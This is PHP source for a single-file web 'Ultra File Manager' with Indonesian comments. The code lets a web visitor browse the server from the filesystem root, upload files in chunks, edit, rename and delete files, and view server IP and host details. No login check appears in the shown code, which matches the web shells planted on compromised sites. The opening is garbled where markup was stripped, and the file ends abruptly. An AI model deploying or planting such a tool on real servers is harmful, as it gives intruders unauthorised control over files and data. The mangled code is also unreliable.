Ultra File Manager

=1024&&$i'; echo '

'; echo '

Error

'.h($msg).'

'; echo '

'; exit; } function perms_string($path){ $p=@fileperms($path); if($p===false) return '???????????'; switch($p & 0xF000){ case 0xC000:$t='s';break;case 0xA000:$t='l';break;case 0x8000:$t='-';break;case 0x6000:$t='b';break;case 0x4000:$t='d';break;case 0x2000:$t='c';break;case 0x1000:$t='p';break;default:$t='?';} $o_r=($p&0x0100)?'r':'-'; $o_w=($p&0x0080)?'w':'-'; $o_x=($p&0x0040)?'x':'-'; $g_r=($p&0x0020)?'r':'-'; $g_w=($p&0x0010)?'w':'-'; $g_x=($p&0x0008)?'x':'-'; $a_r=($p&0x0004)?'r':'-'; $a_w=($p&0x0002)?'w':'-'; $a_x=($p&0x0001)?'x':'-'; if($p&0x0800) $o_x=($o_x==='x')?'s':'S'; if($p&0x0400) $g_x=($g_x==='x')?'s':'S'; if($p&0x0200) $a_x=($a_x==='x')?'t':'T'; return $t.$o_r.$o_w.$o_x.$g_r.$g_w.$g_x.$a_r.$a_w.$a_x; } function save_uploaded_to($tmp, $dest){ if (@move_uploaded_file($tmp, $dest)) return true; if (@rename($tmp, $dest)) return true; if (@copy($tmp, $dest)) return true; $in = @fopen($tmp, 'rb'); if ($in) { $out = @fopen($dest, 'wb'); if ($out) { $ok = @stream_copy_to_stream($in, $out); @fclose($out); @fclose($in); if ($ok !== false) return true; } else { @fclose($in); } } return false; } // -------- Lokasi awal -------- $ROOT = DIRECTORY_SEPARATOR; $START = realpath(__DIR__) ?: $ROOT; // -------- Resolve CURRENT -------- $path_in = isset($_GET['path'])?(string)$_GET['path']:''; $goto_in = isset($_GET['goto'])?(string)$_GET['goto']:''; $seed = $path_in!==''?$path_in:($goto_in!==''?$goto_in:''); $CURRENT = $seed===''?$START:resolve_path($seed,$START); if(!is_dir($CURRENT)) $CURRENT = dirname($CURRENT); // ====== HANDLER: CHUNKED UPLOAD ====== if (($_SERVER['REQUEST_METHOD']==='POST') && isset($_GET['chunk'])) { // Header/param: upload_id, file_name, chunk_index, total_chunks $uploadId = $_POST['upload_id'] ?? ''; $fileName = $_POST['file_name'] ?? ''; $idx = isset($_POST['chunk_index']) ? (int)$_POST['chunk_index'] : -1; $total = isset($_POST['total_chunks']) ? (int)$_POST['total_chunks'] : -1; if ($uploadId==='' || $fileName==='' || $idx<0 || $total<1) { http_response_code(400); echo 'bad params'; exit; } if(!is_dir($CURRENT)||!is_writable($CURRENT)) { http_response_code(403); echo 'dir not writable'; exit; } $tmpDir = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.CHUNK_TMP_DIR; if (!is_dir($tmpDir)) { @mkdir($tmpDir, 0775, true); } if (!is_dir($tmpDir) || !is_writable($tmpDir)) { http_response_code(500); echo 'tmp not writable'; exit; } $chunkField = 'chunk'; if (!isset($_FILES[$chunkField]) || $_FILES[$chunkField]['error']!==UPLOAD_ERR_OK) { http_response_code(400); echo 'no chunk'; exit; } // simpan chunk sebagai file sementara $chunkPath = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$idx; if (!save_uploaded_to($_FILES[$chunkField]['tmp_name'], $chunkPath)) { http_response_code(500); echo 'save fail'; exit; } // jika ini adalah chunk terakhir, coba rakit $done = true; for ($i=0; $i<$total; $i++){ if (!file_exists($tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i)) { $done=false; break; } } if ($done) { // target final $safeName = basename($fileName); $final = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$safeName; if (file_exists($final)) { $pi = pathinfo($final); $base = $pi['filename'] ?? $safeName; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $final = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($final) && $k<1000); } $out = @fopen($final, 'wb'); if (!$out) { http_response_code(500); echo 'assemble open fail'; exit; } for ($i=0; $i<$total; $i++){ $part = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i; $in = @fopen($part, 'rb'); if(!$in){ @fclose($out); http_response_code(500); echo 'assemble read fail'; exit; } @stream_copy_to_stream($in, $out); @fclose($in); @unlink($part); } @fclose($out); // bersihkan dir jika kosong @rmdir($tmpDir); } header('Content-Type: application/json'); echo json_encode(['ok'=>true,'assembled'=>($done?true:false)]); exit; } // -------- Aksi POST (normal form) -------- if($_SERVER['REQUEST_METHOD']==='POST' && !isset($_GET['chunk'])){ $action = $_POST['action'] ?? ''; if($action==='upload'){ if(!is_dir($CURRENT)||!is_writable($CURRENT)) error_then_exit('Folder tidak bisa ditulisi.',403); if(!isset($_FILES['files'])) error_then_exit('Tidak ada file yang diupload.'); $count=min(count($_FILES['files']['name']),UPLOAD_MAX_FILES); $ok=0;$fail=0;$msgs=[]; for($i=0;$i<$count;$i++){ $err = $_FILES['files']['error'][$i] ?? UPLOAD_ERR_NO_FILE; $name = basename($_FILES['files']['name'][$i] ?? 'unknown'); $tmp = $_FILES['files']['tmp_name'][$i] ?? ''; if($err!==UPLOAD_ERR_OK || !is_uploaded_file($tmp)){ $fail++; $msgs[]='Gagal upload: '.h($name).' (error='.$err.')'; continue; } $dest = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name; $parentReal = realpath(dirname($dest)); if($parentReal===false){ $fail++; $msgs[]="Path tidak valid: ".h($name); continue; } if (file_exists($dest)) { $pi = pathinfo($dest); $base = $pi['filename'] ?? $name; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $dest = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($dest) && $k<1000); } if (save_uploaded_to($tmp, $dest)) { $ok++; } else { $fail++; $msgs[]="Gagal simpan: ".h($name); } } flash_set("Upload selesai. Berhasil: $ok, Gagal: $fail".(count($msgs)?' ('.implode('; ',$msgs).')':'')); header('Location: ?path='.rawurlencode($CURRENT)); exit; } if($action==='save'){ $filePath=$_POST['file_path'] ?? ''; $abs=resolve_path($filePath,$CURRENT); if(!is_file($abs)||!is_writable($abs)) error_then_exit('File tidak bisa disimpan atau tidak ada izin.',403); $ext=strtolower(pathinfo($abs,PATHINFO_EXTENSION)); if(!ALLOW_EDIT_PHP&&$ext==='php') error_then_exit('Edit .php dimatikan (konfig).'); if(!is_textual_file($abs)) error_then_exit('File bukan teks.'); if(filesize($abs)>MAX_EDIT_SIZE) error_then_exit('File terlalu besar untuk editor web.'); $content=(string)($_POST['content'] ?? ''); $content=str_replace("\r\n","\n",$content); if(@file_put_contents($abs,$content)===false) error_then_exit('Gagal menyimpan file.'); flash_set('Perubahan disimpan.'); header('Location: ?path='.rawurlencode(dirname($abs))); exit; } if($action==='rename'){ $oldPath=$_POST['old_path'] ?? ''; $newName=trim((string)($_POST['new_name'] ?? '')); $oldAbs=resolve_path($oldPath,$CURRENT); if(!file_exists($oldAbs)) error_then_exit('Target tidak ditemukan.'); if($newName===''||preg_match('/[\/\\\\]/',$newName)) error_then_exit('Nama baru tidak valid.'); $newAbs=dirname($oldAbs).DIRECTORY_SEPARATOR.$newName; if(file_exists($newAbs)) error_then_exit('Nama sudah digunakan.'); if(!@rename($oldAbs,$newAbs)) error_then_exit('Gagal rename.'); flash_set('Berhasil rename.'); header('Location: ?path='.rawurlencode(dirname($newAbs))); exit; } if($action==='delete'){ $targetPath=$_POST['target_path'] ?? ''; $targetAbs=resolve_path($targetPath,$CURRENT); if(!file_exists($targetAbs)) error_then_exit('Target tidak ditemukan.'); if(!rrmdir_safe($targetAbs)) error_then_exit('Gagal menghapus (cek permission).'); flash_set('Berhasil hapus.'); header('Location: ?path='.rawurlencode(dirname($targetAbs))); exit; } error_then_exit('Aksi tidak dikenal.'); } // -------- Listing -------- $items=[]; $scan=@scandir($CURRENT); if($scan!==false){ foreach($scan as $it){ if($it==='.'||$it==='..') continue; $p=rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$it; $items[]=[ 'name'=>$it, 'is_dir'=>is_dir($p), 'size'=>is_dir($p)?0:(int)@filesize($p), 'mtime'=>(int)@filemtime($p), 'abs'=>$p, 'perm'=>perms_string($p), ]; } usort($items,function($a,$b){ if($a['is_dir']!==$b['is_dir']) return $a['is_dir']?-1:1; return strcasecmp($a['name'],$b['name']); }); } // -------- Breadcrumb -------- function make_breadcrumb($CURRENT){ $parts=[]; $path=$CURRENT; while(true){ $parent=dirname($path); if($parent===$path){ array_unshift($parts,['label'=>'/','path'=>'/']); break; } array_unshift($parts,['label'=>basename($path),'path'=>$path]); $path=$parent; } return $parts; } $crumbs=make_breadcrumb($CURRENT); $canUp=dirname($CURRENT)!==$CURRENT; // -------- Mode edit? -------- $editFile=null; if(isset($_GET['edit'])){ $editIn=(string)$_GET['edit']; $editAbs=resolve_path($editIn,$CURRENT); if($editAbs && is_file($editAbs)){ $size=(int)@filesize($editAbs); if($size<=MAX_EDIT_SIZE && is_textual_file($editAbs)){ $editFile=['abs'=>$editAbs,'size'=>$size]; } } } // -------- System info -------- $serverIP=$_SERVER['SERVER_ADDR']??gethostbyname(gethostname()); $clientIP=$_SERVER['REMOTE_ADDR']??'N/A'; $hostname=gethostname(); $phpv=PHP_VERSION; // -------- Flash -------- $flash=flash_get(); ?> Ultra File Manager

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